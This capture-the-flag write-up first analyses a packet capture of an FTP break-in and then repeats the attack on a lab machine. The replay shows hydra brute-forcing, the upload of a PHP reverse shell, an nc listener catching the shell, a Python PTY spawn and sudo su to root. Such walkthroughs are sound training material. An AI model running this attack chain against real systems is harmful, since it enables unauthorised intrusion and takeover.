It seems like our machine got hacked by an anonymous threat actor. However, we are lucky to have a .pcap file from the attack. Can you determine what happened? Download the .pcap file and use Wireshark to view it.
We can open the PCAP file in Wireshark after downloading it.
No answer needed
The attacker is trying to log into a specific service. What service is this?
If we scroll a bit we can see the following packets.
We can Follow > TCP Stream.
This does look like a login attempt.
Answer
ftp
There is a very popular tool by Van Hauser which can be used to brute force a series of services. What is the name of this tool?
Answer
hydra
The attacker is trying to log on with a specific username. What is the username?
We saw the in TCP Stream that the username was jenny.
Answer
jenny
What is the user's password?
If we change the stream to 7, we can find the correct password.
Answer
password123
What is the current FTP working directory after the attacker logged in?
We can find the current working directory on setting the stream to 16.
Answer
/var/www/html
The attacker uploaded a backdoor. What is the backdoor's filename?
We can find the answer in the same stream.
Answer
shell.php
The backdoor can be downloaded from a specific URL, as it is located inside the uploaded file. What is the full URL?
In order to answer this question we have to filter the packets using the following filter:
ftp-data
On inspecting the second packet, we can find the URL.
Answer
http://pentestmonkey.net/tools/php-reverse-shell
Which command did the attacker manually execute after getting a reverse shell?
Let's navigate to stream 20.
Answer
whoami
What is the computer's hostname?
In the same stream, we can find the computer's host name.
Answer
wir3
Which command did the attacker execute to spawn a new TTY shell?
The answer is in the same stream.
Answer
python3 -c 'import pty; pty.spawn("/bin/bash")'
Which command was executed to gain a root shell?
Again in the same stream, we can find the answer.
Answer
sudo su
The attacker downloaded something from GitHub. What is the name of the GitHub project?
We can find the git clone that the attacker used.
Answer
Reptile
The project can be used to install a stealthy backdoor on the system. It can be very hard to detect. What is this type of backdoor called?
This type of backdoor is called a Rootkit.
Answer
Rootkit
Task 2: Hack your way back into the machine
The attacker has changed the user's password! Can you replicate the attacker's steps and read the flag.txt? The flag is located in the /root/Reptile directory. Remember, you can always look back at the .pcap file if necessary. Good luck!
No answer needed
Run Hydra (or any similar tool) on the FTP service. The attacker might not have chosen a complex password. You might get lucky if you use a common word list.
Let's first scan the target using nmap.
$ nmap -sC -sV 10.10.108.36
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-07 16:52 IST
Nmap scan report for 10.10.108.36
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.62 seconds
As we can see there are three open ports:
Port
Service
21
ftp
80
http
We know that the user jenny changed the password.
Let's brute force it using hydra.
$ hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://10.10.108.36
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-07 17:02:35
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.10.108.36:21/
[21][ftp] host: 10.10.108.36 login: jenny password: 987654321
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-07 17:03:04
No answer needed
Change the necessary values inside the web shell and upload it to the webserver
Let's login through FTP using jenny as the username and 987654321 as the password.
$ ftp jenny@10.10.108.36
Connected to 10.10.108.36.
220 Hello FTP World!
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Let's look around to find something important.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r-- 1 1000 1000 10918 Feb 01 2021 index.html
-rwxrwxrwx 1 1000 1000 5493 Feb 01 2021 shell.php
226 Directory send OK.
We can download these files using the get command.
ftp> get shell.php
local: shell.php remote: shell.php
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for shell.php (5493 bytes).
100% |***********************************************************************************************************************************************************************************************| 5493 64.89 KiB/s 00:00 ETA
226 Transfer complete.
5493 bytes received in 00:00 (24.22 KiB/s)
ftp> get index.html
local: index.html remote: index.html
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for index.html (10918 bytes).
100% |***********************************************************************************************************************************************************************************************| 10918 3.20 MiB/s 00:00 ETA
226 Transfer complete.
10918 bytes received in 00:00 (81.19 KiB/s)
We have to modify the shell a bit.
We set he IP address to our tun0 interface and the port to any port we like.
Let's upload the modified shell.php using the put command.
ftp> put shell.php
local: shell.php remote: shell.php
200 EPRT command successful. Consider using EPSV.
150 Ok to send data.
100% |***********************************************************************************************************************************************************************************************| 5494 3.20 MiB/s 00:00 ETA
226 Transfer complete.
5494 bytes sent in 00:00 (19.89 KiB/s)
We have successfully uploaded our shell.php file to the FTP server.
No answer needed
Create a listener on the designated port on your attacker machine. Execute the web shell by visiting the .php file on the targeted web server.
Let's start listening for connections using nc.
$ nc -nlvp 9999
listening on [any] 9999 ...
Now we have to download the shell through our browser.
Let's check our listener.
$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.17.48.138] from (UNKNOWN) [10.10.108.36] 49210
Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
11:51:14 up 31 min, 0 users, load average: 0.00, 0.00, 0.13
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Let's stabilize the shell and switch user to jenny.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@wir3:/$ su jenny
su jenny
Password: 987654321
jenny@wir3:/$
Let's check what sudo commands jenny can execute.
jenny@wir3:/$ sudo -l
sudo -l
[sudo] password for jenny: 987654321
Matching Defaults entries for jenny on wir3:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jenny may run the following commands on wir3:
(ALL : ALL) ALL
We have permissions to switch user to root.
No answer needed
Become root!
jenny@wir3:/$ sudo su
sudo su
root@wir3:/#
No answer needed
Read the flag.txt file inside the Reptile directory
Let's read the flag.txt file inside the Reptile directory.
